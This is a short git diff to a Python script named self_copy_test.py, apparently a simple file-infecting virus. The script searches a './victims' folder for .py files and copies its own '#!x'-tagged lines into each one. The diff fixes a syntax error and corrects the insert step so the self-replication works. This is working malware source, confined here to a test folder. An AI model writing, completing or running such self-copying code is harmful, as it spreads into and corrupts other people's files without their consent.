diff --git a/self_copy_test.py b/self_copy_test.py index f31ca0a..a4ddbae 100644 --- a/self_copy_test.py +++ b/self_copy_test.py @@ -11,7 +11,8 @@ cmd = 'find ./victims -name "*.py" -print' #!x keyword = 'plsdontinjectme' #!x # for each file that matches the search command -for snippet in os.popen(cmd).readlines()l: #!x +for snippet in os.popen(cmd).readlines(): #!x + print(snippet) # strip newlines snippet = snippet[:-1] #!x try: #!x @@ -31,8 +32,8 @@ for snippet in os.popen(cmd).readlines()l: #!x if("#!x") in line: #!x # close the code file code.close() #!x - # save the content - insert=(code) #!x + # cast the line containing code + insert=(line) #!x # insert the code into the victim file victim.write(insert) #!x # poor mans error handling